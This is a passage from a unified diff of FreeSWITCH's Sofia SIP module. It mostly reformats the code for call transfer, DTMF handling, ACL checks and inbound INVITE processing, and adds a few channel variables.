nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
- NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp), TAG_END());
-
+ NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp),
+ TAG_END());
+
if (b_tech_pvt && !sofia_test_flag(b_tech_pvt, TFLAG_BYE)) {
- char* q850 = NULL;
- const char* val = NULL;
+ char *q850 = NULL;
+ const char *val = NULL;
sofia_set_flag_locked(b_tech_pvt, TFLAG_BYE);
val = switch_channel_get_variable(tech_pvt->channel, "disable_q850_reason");
if (!val || switch_true(val)) {
q850 = switch_core_session_sprintf(a_session, "Q.850;cause=16;text=\"normal_clearing\"");
- }
- nua_bye(b_tech_pvt->nh,
+ }
+ nua_bye(b_tech_pvt->nh,
TAG_IF(!zstr(q850), SIPTAG_REASON_STR(q850)),
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- TAG_END());
-
+ TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
+
}
} else {
nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
@@ -5070,34 +5088,35 @@
} else if (br_a && br_b) {
switch_core_session_t *tmp = NULL;
-
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Attended Transfer [%s][%s]\n",
- switch_str_nil(br_a),
- switch_str_nil(br_b));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Attended Transfer [%s][%s]\n",
+ switch_str_nil(br_a), switch_str_nil(br_b));
+
if ((profile->media_options & MEDIA_OPT_BYPASS_AFTER_ATT_XFER) && (tmp = switch_core_session_locate(br_b))) {
switch_channel_t *tchannel = switch_core_session_get_channel(tmp);
switch_channel_set_flag(tchannel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
switch_core_session_rwunlock(tmp);
}
-
+
switch_ivr_uuid_bridge(br_b, br_a);
switch_channel_set_variable(channel_b, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ATTENDED_TRANSFER");
nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
- NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp), TAG_END());
+ NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp),
+ TAG_END());
sofia_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
switch_channel_clear_flag(channel_b, CF_LEG_HOLDING);
sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
switch_channel_set_variable(channel_b, "park_timeout", "2");
switch_channel_set_state(channel_b, CS_PARK);
-
+
} else {
if (!br_a && !br_b) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot transfer channels that are not in a bridge.\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ "Cannot transfer channels that are not in a bridge.\n");
nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
- NUTAG_SUBSTATE(nua_substate_terminated),
- SIPTAG_PAYLOAD_STR("SIP/2.0 403 Forbidden\r\n"), SIPTAG_EVENT_STR(etmp), TAG_END());
+ NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 403 Forbidden\r\n"),
+ SIPTAG_EVENT_STR(etmp), TAG_END());
} else {
switch_core_session_t *t_session;
switch_channel_t *hup_channel;
@@ -5129,13 +5148,13 @@
if (!zstr(full_ref_to)) {
switch_channel_set_variable(t_channel, SOFIA_REFER_TO_VARIABLE, full_ref_to);
}
-
+
if (idest) {
switch_ivr_session_transfer(t_session, idest, "inline", NULL);
} else {
switch_ivr_session_transfer(t_session, ext, NULL, NULL);
}
-
+
nua_notify(tech_pvt->nh,
NUTAG_NEWSUB(1),
SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
@@ -5170,27 +5189,27 @@
}
channel = switch_core_session_get_channel(a_session);
-
- exten = switch_core_session_sprintf(session, "sofia/%s/sip:%s@%s%s%s",
- profile->name, refer_to->r_url->url_user,
- refer_to->r_url->url_host,
- port ? ":" : "", port ? port : "");
+ exten = switch_core_session_sprintf(session, "sofia/%s/sip:%s@%s%s%s",
+ profile->name, refer_to->r_url->url_user,
+ refer_to->r_url->url_host, port ? ":" : "", port ? port : "");
+
switch_core_new_memory_pool(&npool);
nightmare_xfer_helper = switch_core_alloc(npool, sizeof(*nightmare_xfer_helper));
nightmare_xfer_helper->exten = switch_core_strdup(npool, exten);
- if (refer_to->r_url && (refer_to->r_url->url_params || refer_to->r_url->url_headers) ) {
+ if (refer_to->r_url && (refer_to->r_url->url_params || refer_to->r_url->url_headers)) {
if (refer_to->r_url->url_headers) {
- nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
- "{sip_invite_params=%s?%s}%s", refer_to->r_url->url_params ? refer_to->r_url->url_params : "",
- refer_to->r_url->url_headers, exten);
+ nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
+ "{sip_invite_params=%s?%s}%s",
+ refer_to->r_url->url_params ? refer_to->r_url->
+ url_params : "", refer_to->r_url->url_headers, exten);
} else {
- nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
- "{sip_invite_params=%s}%s", refer_to->r_url->url_params, exten);
+ nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
+ "{sip_invite_params=%s}%s", refer_to->r_url->url_params,
+ exten);
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "INVITE RURI '%s'\n",
- nightmare_xfer_helper->exten_with_params);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "INVITE RURI '%s'\n", nightmare_xfer_helper->exten_with_params);
} else {
nightmare_xfer_helper->exten_with_params = nightmare_xfer_helper->exten;
}
@@ -5204,25 +5223,26 @@
char *h, *v, *hp;
p = switch_core_session_strdup(session, refer_to->r_url->url_headers);
while (p && *p) {
- h = p;
+ h = p;
if ((p = strchr(p, '='))) {
*p++ = '\0';
v = p;
if ((p = strchr(p, '&'))) {
*p++ = '\0';
}
-
- url_unescape(h, (const char *)h);
- url_unescape(v, (const char *)v);
- if (strcasecmp("Replaces",h)) {
+
+ url_unescape(h, (const char *) h);
+ url_unescape(v, (const char *) v);
+ if (strcasecmp("Replaces", h)) {
hp = switch_core_session_sprintf(session, "%s%s", SOFIA_SIP_HEADER_PREFIX, h);
switch_channel_set_variable(channel, hp, v);
} else {
// use this one instead of rep value from above to keep all parameters
switch_channel_set_variable(channel, SOFIA_REPLACES_HEADER, v);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Exporting replaces URL header [%s:%s]\n", h, v);
- }
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Exporting replaces URL header [%s:%s]\n",
+ h, v);
+ }
}
}
@@ -5235,8 +5255,8 @@
} else {
switch_event_add_header_string(nightmare_xfer_helper->vars, SWITCH_STACK_BOTTOM, SOFIA_REPLACES_HEADER, rep);
}
-
-
+
+
if (!zstr(full_ref_by)) {
switch_event_add_header_string(nightmare_xfer_helper->vars, SWITCH_STACK_BOTTOM, "Referred-By", full_ref_by);
}
@@ -5247,7 +5267,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Good Luck, you'll need it......\n");
launch_nightmare_xfer(nightmare_xfer_helper);
-
+
switch_core_session_rwunlock(a_session);
} else {
@@ -5344,9 +5364,12 @@
signal_ptr = signal_ptr + 7;
/* handle broken devices with spaces after the = (cough) VegaStream (cough) */
- while (*signal_ptr && *signal_ptr == ' ') signal_ptr++;
+ while (*signal_ptr && *signal_ptr == ' ')
+ signal_ptr++;
- if (*signal_ptr && (*signal_ptr == '*' || *signal_ptr == '#' || *signal_ptr == 'A' || *signal_ptr == 'B' || *signal_ptr == 'C' || *signal_ptr == 'D')) {
+ if (*signal_ptr
+ && (*signal_ptr == '*' || *signal_ptr == '#' || *signal_ptr == 'A' || *signal_ptr == 'B' || *signal_ptr == 'C'
+ || *signal_ptr == 'D')) {
dtmf.digit = *signal_ptr;
} else {
tmp = atoi(signal_ptr);
@@ -5362,8 +5385,9 @@
signal_ptr += 9;
/* handle broken devices with spaces after the = (cough) VegaStream (cough) */
- while (*signal_ptr && *signal_ptr == ' ') signal_ptr++;
-
+ while (*signal_ptr && *signal_ptr == ' ')
+ signal_ptr++;
+
if ((tmp = atoi(signal_ptr)) <= 0) {
tmp = switch_core_default_dtmf_duration(0);
}
@@ -5384,11 +5408,11 @@
/* print debug info */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "INFO DTMF(%c)\n", dtmf.digit);
-
+
if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
const char *uuid;
switch_core_session_t *session_b;
-
+
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (session_b = switch_core_session_locate(uuid))) {
while (switch_channel_has_dtmf(channel)) {
switch_dtmf_t idtmf = { 0, 0 };
@@ -5429,7 +5453,8 @@
file = switch_channel_expand_variables(channel, tmp);
switch_ivr_record_session(session, file, 0, NULL);
switch_channel_set_variable(channel, "sofia_record_file", file);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Recording %s to %s\n", switch_channel_get_name(channel), file);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Recording %s to %s\n", switch_channel_get_name(channel),
+ file);
switch_safe_free(tmp);
nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
if (file != profile->record_template) {
@@ -5440,7 +5465,8 @@
const char *file;
if ((file = switch_channel_get_variable(channel, "sofia_record_file"))) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Done recording %s to %s\n", switch_channel_get_name(channel), file);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Done recording %s to %s\n",
+ switch_channel_get_name(channel), file);
switch_ivr_stop_record_session(session, file);
nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
} else {
@@ -5451,7 +5477,7 @@
}
}
- end:
+ end:
if (sip && switch_event_create(&event, SWITCH_EVENT_RECV_INFO) == SWITCH_STATUS_SUCCESS) {
@@ -5494,7 +5520,8 @@
if (sip->sip_call_info) {
- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Info", sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_call_info));
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Info",
+ sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_call_info));
}
if (alert_info) {
@@ -5516,8 +5543,9 @@
}
-void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
+void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
+ nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[])
{
char *call_info = NULL;
@@ -5529,7 +5557,7 @@
if (switch_stristr("appearance", call_info)) {
switch_channel_set_variable(channel, "presence_call_info_full", call_info);
if ((p = strchr(call_info, ';'))) {
- switch_channel_set_variable(channel, "presence_call_info", p+1);
+ switch_channel_set_variable(channel, "presence_call_info", p + 1);
}
}
su_free(nua_handle_home(nh), call_info);
@@ -5592,7 +5620,7 @@
goto fail;
}
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
if (sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION)) {
if (sip && sip->sip_via) {
@@ -5632,7 +5660,7 @@
}
}
}
-
+
if (profile->acl_count) {
uint32_t x = 0;
int ok = 1;
@@ -5661,15 +5689,12 @@
if (profile->proxy_acl_count) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d acls to check for proxy\n", profile->proxy_acl_count);
}
-
+
for (x = 0; x < profile->proxy_acl_count; x++) {
last_acl = profile->proxy_acl[x];
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "checking %s against acl %s\n", network_ip, last_acl);
if (switch_check_network_list_ip_token(network_ip, last_acl, &token)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
- "%s is a proxy according to the %s acl\n",
- network_ip, last_acl
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s is a proxy according to the %s acl\n", network_ip, last_acl);
network_ip_is_proxy = 1;
break;
}
@@ -5680,18 +5705,15 @@
*/
if (network_ip_is_proxy) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "network ip is a proxy\n");
-
+
for (un = sip->sip_unknown; un; un = un->un_next) {
if (!strcasecmp(un->un_name, "X-AUTH-IP")) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "found auth ip [%s] header of [%s]\n",
- un->un_name, un->un_value
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "found auth ip [%s] header of [%s]\n", un->un_name, un->un_value);
if (!zstr(un->un_value)) {
for (x = 0; x < profile->acl_count; x++) {
last_acl = profile->acl[x];
if ((ok = switch_check_network_list_ip_token(un->un_value, last_acl, &token))) {
- switch_copy_string(proxied_client_ip, un->un_value, sizeof (proxied_client_ip));
+ switch_copy_string(proxied_client_ip, un->un_value, sizeof(proxied_client_ip));
break;
}
}
@@ -5699,7 +5721,7 @@
}
}
}
-
+
if (!ok) {
if (!sofia_test_pflag(profile, PFLAG_AUTH_CALLS)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", network_ip, switch_str_nil(last_acl));
@@ -5723,7 +5745,8 @@
}
if (!is_auth &&
- (sofia_test_pflag(profile, PFLAG_AUTH_CALLS) || (!sofia_test_pflag(profile, PFLAG_BLIND_AUTH) && (sip->sip_proxy_authorization || sip->sip_authorization)))) {
+ (sofia_test_pflag(profile, PFLAG_AUTH_CALLS)
+ || (!sofia_test_pflag(profile, PFLAG_BLIND_AUTH) && (sip->sip_proxy_authorization || sip->sip_authorization)))) {
if (!strcmp(network_ip, profile->sipip) && network_port == profile->sip_port) {
calling_myself++;
} else {
@@ -5731,7 +5754,7 @@
if (v_event) {
switch_event_destroy(&v_event);
}
-
+
if (sip->sip_authorization || sip->sip_proxy_authorization) {
goto fail;
}
@@ -5771,6 +5794,9 @@
channel = tech_pvt->channel = switch_core_session_get_channel(session);
+ switch_channel_set_variable_printf(channel, "sip_network_ip", "%s", network_ip);
+ switch_channel_set_variable_printf(channel, "sip_network_port", "%d", network_port);
+
if (*acl_token) {
switch_channel_set_variable(channel, "acl_token", acl_token);
if (strchr(acl_token, '@')) {
@@ -5790,13 +5816,9 @@
tech_pvt->record_route =
switch_core_session_sprintf(session,
- "sip:%s@%s%s%s:%d;transport=%s",
- sip->sip_contact->m_url->url_user,
- ipv6 ? "[" : "",
- tech_pvt->remote_ip,
- ipv6 ? "]" : "",
- tech_pvt->remote_port,
- sofia_glue_transport2str(transport));
+ "sip:%s@%s%s%s:%d;transport=%s",
+ sip->sip_contact->m_url->url_user,
+ ipv6 ? "[" : "", tech_pvt->remote_ip, ipv6 ? "]" : "", tech_pvt->remote_port, sofia_glue_transport2str(transport));
switch_channel_set_variable(channel, "sip_received_ip", tech_pvt->remote_ip);
snprintf(tmp, sizeof(tmp), "%d", tech_pvt->remote_port);
@@ -5830,7 +5852,7 @@
}
if (sip->sip_from && sip->sip_from->a_url) {
- char * tmp;
+ char *tmp;
from_user = sip->sip_from->a_url->url_user;
from_host = sip->sip_from->a_url->url_host;
channel_name = url_set_chanvars(session, sip->sip_from->a_url, sip_from);
@@ -5868,7 +5890,7 @@
if ((rpid = sip_remote_party_id(sip))) {
if (rpid->rpid_url && rpid->rpid_url->url_user) {
- char *full_rpid_header = sip_header_as_string(nh->nh_home, (void *) rpid);
+ char *full_rpid_header = sip_header_as_string(nh->nh_home, (void *) rpid);
from_user = rpid->rpid_url->url_user;
if (!zstr(full_rpid_header)) {
switch_channel_set_variable(channel, "sip_Remote-Party-ID", full_rpid_header);
@@ -5904,7 +5926,7 @@
if (!zstr(full_ppid_header)) {
switch_channel_set_variable(channel, "sip_P-Preferred-Identity", full_ppid_header);
}
-
+
}
if (!zstr(ppreferred->ppid_display)) {
displayname = ppreferred->ppid_display;
@@ -5917,6 +5939,8 @@
check_decode(from_user, session);
}
+ extract_header_vars(profile, sip, session);
+
if (sip->sip_request->rq_url) {
const char *req_uri = url_set_chanvars(session, sip->sip_request->rq_url, sip_req);
if (sofia_test_pflag(profile, PFLAG_FULL_ID)) {
@@ -5937,13 +5961,13 @@
if (!destination_number && sip->sip_from && sip->sip_from->a_url) {
destination_number = sip->sip_from->a_url->url_user;
}
-
+
if (destination_number) {
check_decode(destination_number, session);
} else {
destination_number = "service";
}
-
+
if (sip->sip_to && sip->sip_to->a_url) {
const char *host, *user;
int port;
@@ -5962,7 +5986,7 @@
if (switch_channel_get_variable(channel, "sip_to_uri")) {
const char *ipv6;
const char *tmp, *at, *url = NULL;
-
+
host = switch_channel_get_variable(channel, "sip_to_host");
user = switch_channel_get_variable(channel, "sip_to_user");
@@ -5981,20 +6005,17 @@
ipv6 = strchr(host, ':');
tech_pvt->to_uri =
switch_core_session_sprintf(session,
- "sip:%s@%s%s%s:%d;transport=%s",
- user, ipv6 ? "[" : "",
- host, ipv6 ? "]" : "",
- port,
- sofia_glue_transport2str(transport));
+ "sip:%s@%s%s%s:%d;transport=%s",
+ user, ipv6 ? "[" : "", host, ipv6 ? "]" : "", port, sofia_glue_transport2str(transport));
if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
- } else {
+ } else {
url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url;
- }
-
+ }
+
tmp = sofia_overcome_sip_uri_weakness(session, url, transport, SWITCH_TRUE, NULL);
-
+
if ((at = strchr(tmp, '@'))) {
url = switch_core_session_sprintf(session, "sip:%s%s", user, at);
}
@@ -6002,43 +6023,41 @@
if (url) {
const char *brackets = NULL;
const char *proto = NULL;
-
+
brackets = strchr(url, '>');
proto = switch_stristr("transport=", url);
tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s%s%s%s%s",
brackets ? "" : "<", url,
proto ? "" : ";transport=",
- proto ? "" : sofia_glue_transport2str(transport),
- brackets ? "" : ">");
+ proto ? "" : sofia_glue_transport2str(transport), brackets ? "" : ">");
} else {
switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
-
+
} else {
const char *url = NULL;
if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
- url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
- } else {
+ url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
+ } else {
url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url;
- }
-
+ }
+
if (url) {
const char *brackets = NULL;
const char *proto = NULL;
-
+
brackets = strchr(url, '>');
proto = switch_stristr("transport=", url);
tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s%s%s%s%s",
brackets ? "" : "<", url,
proto ? "" : ";transport=",
- proto ? "" : sofia_glue_transport2str(transport),
- brackets ? "" : ">");
+ proto ? "" : sofia_glue_transport2str(transport), brackets ? "" : ">");
} else {
switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
}
}
-
+
if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
tech_pvt->user_via = sofia_glue_create_external_via(session, profile, tech_pvt->transport);
}
@@ -6139,8 +6158,8 @@
}
if ((call_info = sip_call_info(sip))) {
- call_info_str = sip_header_as_string(nh->nh_home, (void *) call_info);
- if (call_info->ci_params && (msg_params_find(call_info->ci_params , "answer-after=0"))) {
+ call_info_str = sip_header_as_string(nh->nh_home, (void *) call_info);
+ if (call_info->ci_params && (msg_params_find(call_info->ci_params, "answer-after=0"))) {
switch_channel_set_variable(channel, "sip_auto_answer_detected", "true");
}
switch_channel_set_variable(channel, "sip_call_info", call_info_str);
@@ -6156,7 +6175,7 @@
free(tmp);
}
-
+
if (sip->sip_request->rq_url->url_params) {
gw_name = sofia_glue_find_parameter(sip->sip_request->rq_url->url_params, "gw=");
}
@@ -6185,7 +6204,7 @@
if (gateway->ib_vars) {
switch_event_header_t *hp;
- for(hp = gateway->ib_vars->headers; hp; hp = hp->next) {
+ for (hp = gateway->ib_vars->headers; hp; hp = hp->next) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setting variable [%s]=[%s]\n",
switch_channel_get_name(channel), hp->name, hp->value);
switch_channel_set_variable(channel, hp->name, hp->value);
@@ -6202,7 +6221,7 @@
char *str;
char *p = NULL;
const char *user = NULL, *host = NULL;
-
+
if (sip->sip_to && sip->sip_to->a_url) {
user = sip->sip_to->a_url->url_user;
host = sip->sip_to->a_url->url_host;
@@ -6210,8 +6229,10 @@
if (!user || !host) {
if (sip->sip_from && sip->sip_from->a_url) {
- if (!user) user = sip->sip_from->a_url->url_user;
- if (!host) host = sip->sip_from->a_url->url_host;
+ if (!user)
+ user = sip->sip_from->a_url->url_user;
+ if (!host)
+ host = sip->sip_from->a_url->url_host;
}
}
@@ -6219,10 +6240,12 @@
if ((p = strchr(call_info_str, ';'))) {
p++;
}
-
- sql = switch_mprintf("select call_id from sip_dialogs where call_info='%q' and sip_from_user='%q' and sip_from_host='%q' and call_id is not null",
- switch_str_nil(p), user, host);
+ sql =
+ switch_mprintf
+ ("select call_id from sip_dialogs where call_info='%q' and sip_from_user='%q' and sip_from_host='%q' and call_id is not null",
+ switch_str_nil(p), user, host);
+
if ((str = sofia_glue_execute_sql2str(profile, profile->ireg_mutex, sql, cid, sizeof(cid)))) {
bnh = nua_handle_by_call_id(nua, str);
}
@@ -6230,7 +6253,7 @@
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "PICK SQL %s [%s] [%s] %d\n", sql, str, cid, !!bnh);
}
-
+
free(sql);
}
}
@@ -6263,7 +6286,7 @@
if (switch_core_session_check_interface(b_session, sofia_endpoint_interface)) {
b_tech_pvt = switch_core_session_get_private(b_session);
}
-
+
if ((uuid = switch_channel_get_variable(b_channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
switch_channel_set_variable(b_channel, "presence_call_info", NULL);
switch_channel_set_variable(b_channel, "presence_call_info_full", NULL);
@@ -6271,10 +6294,10 @@
} else {
uuid = switch_core_session_get_uuid(b_session);
}
-
+
if (uuid) {
switch_core_session_t *c_session = NULL;
- int do_conf = 0;
+ int do_conf = 0;
uuid = switch_core_session_strdup(b_session, uuid);
if ((c_session = switch_core_session_locate(uuid))) {
@@ -6284,13 +6307,13 @@
if (switch_core_session_check_interface(c_session, sofia_endpoint_interface)) {
c_tech_pvt = switch_core_session_get_private(c_session);
}
-
- if (!one_leg &&
- (!b_tech_pvt || !sofia_test_flag(b_tech_pvt, TFLAG_SIP_HOLD)) &&
+
+ if (!one_leg &&
+ (!b_tech_pvt || !sofia_test_flag(b_tech_pvt, TFLAG_SIP_HOLD)) &&
(!c_tech_pvt || !sofia_test_flag(c_tech_pvt, TFLAG_SIP_HOLD))) {
char *ext = switch_core_session_sprintf(b_session, "answer,conference:%s@sla+flags{mintwo}", uuid);
-
+
switch_channel_set_flag(c_channel, CF_REDIRECT);
switch_ivr_session_transfer(b_session, ext, "inline", NULL);
switch_ivr_session_transfer(c_session, ext, "inline", NULL);
@@ -6299,7 +6322,7 @@
}
switch_core_session_rwunlock(c_session);
}
-
+
if (do_conf) {
destination_number = switch_core_session_sprintf(b_session, "answer,conference:%s@sla+flags{mintwo}", uuid);
} else {
@@ -6345,7 +6368,7 @@
}
if ((privacy = sip_privacy(sip))) {
- char *full_priv_header = sip_header_as_string(nh->nh_home, (void *) privacy);
+ char *full_priv_header = sip_header_as_string(nh->nh_home, (void *) privacy);
if (!zstr(full_priv_header)) {
switch_channel_set_variable(channel, "sip_Privacy", full_priv_header);
}
@@ -6373,8 +6396,8 @@
} else if (!strncasecmp(un->un_name, "X-", 2) || !strncasecmp(un->un_name, "P-", 2)) {
if (!zstr(un->un_value)) {
char new_name[512] = "";
- int reps = 0;
- for(;;) {
+ int reps = 0;
+ for (;;) {
char postfix[25] = "";
if (reps > 0) {
switch_snprintf(postfix, sizeof(postfix), "-%d", reps);
@@ -6392,10 +6415,10 @@
}
}
}
-
+
switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
}
-
+
if (!(sofia_private = malloc(sizeof(*sofia_private)))) {
abort();
}
@@ -6403,7 +6426,7 @@
memset(sofia_private, 0, sizeof(*sofia_private));
sofia_private->is_call++;
tech_pvt->sofia_private = sofia_private;
-
+
if ((profile->pres_type)) {
sofia_presence_set_chat_hash(tech_pvt, sip);
}
@@ -6460,7 +6483,7 @@
if (sip->sip_contact) {
full_contact = sip_header_as_string(nua_handle_home(tech_pvt->nh), (void *) sip->sip_contact);
}
-
+
if (call_info_str && switch_stristr("appearance", call_info_str)) {
switch_channel_set_variable(channel, "presence_call_info_full", call_info_str);
if ((p = strchr(call_info_str, ';'))) {
@@ -6476,16 +6499,16 @@
"values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')",
call_id,
tech_pvt->sofia_private->uuid,
- to_user, to_host, dialog_from_user, dialog_from_host,
+ to_user, to_host, dialog_from_user, dialog_from_host,
contact_user, contact_host, "confirmed", "inbound", user_agent,
- profile->name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
+ profile->name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
switch_str_nil(presence_id), switch_str_nil(presence_data), switch_str_nil(p));
switch_assert(sql);
-
+
sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
switch_safe_free(sql);
-
+
}
if (is_nat) {
@@ -6500,7 +6523,8 @@
switch_mutex_lock(profile->flag_mutex);
switch_core_session_limit(sess_count - 10);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "LUKE: I'm hit, but not bad.\n");
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "LUKE'S VOICE: Artoo, see what you can do with it. Hang on back there....\n"
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT,
+ "LUKE'S VOICE: Artoo, see what you can do with it. Hang on back there....\n"
"Green laserfire moves past the beeping little robot as his head turns. "
"After a few beeps and a twist of his mechanical arm,\n"
"Artoo reduces the max sessions to %d thus, saving the switch from certain doom.\n", sess_count - 10);
@@ -6519,7 +6543,7 @@
nua_respond(nh, 503, "Maximum Calls In Progress", SIPTAG_RETRY_AFTER_STR("300"), TAG_END());
return;
- fail:
+ fail:
profile->ib_failed_calls++;
return;
@@ -6527,7 +6551,8 @@
void sofia_handle_sip_i_options(int status,
char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
+ nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[])
{
nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
}
@@ -6540,13 +6565,13 @@
if (aleg && bleg && switch_core_session_compare(aleg, bleg)) {
switch_channel_t *channel = switch_core_session_get_channel(bleg);
const char *ua = switch_channel_get_variable(channel, "sip_user_agent");
-
+
a_tech_pvt = (private_object_t *) switch_core_session_get_private(aleg);
b_tech_pvt = (private_object_t *) switch_core_session_get_private(bleg);
if (b_tech_pvt && a_tech_pvt && a_tech_pvt->caller_profile) {
switch_caller_profile_t *acp = a_tech_pvt->caller_profile;
-
+
if (ua && switch_stristr("snom", ua)) {
if (zstr(acp->caller_id_name)) {
snprintf(message, sizeof(message), "From:\r\nTo: %s\r\n", acp->caller_id_number);
@@ -6555,8 +6580,7 @@
}
nua_info(b_tech_pvt->nh,
SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
- TAG_IF(!zstr(b_tech_pvt->user_via), SIPTAG_VIA_STR(b_tech_pvt->user_via)),
- SIPTAG_PAYLOAD_STR(message), TAG_END());
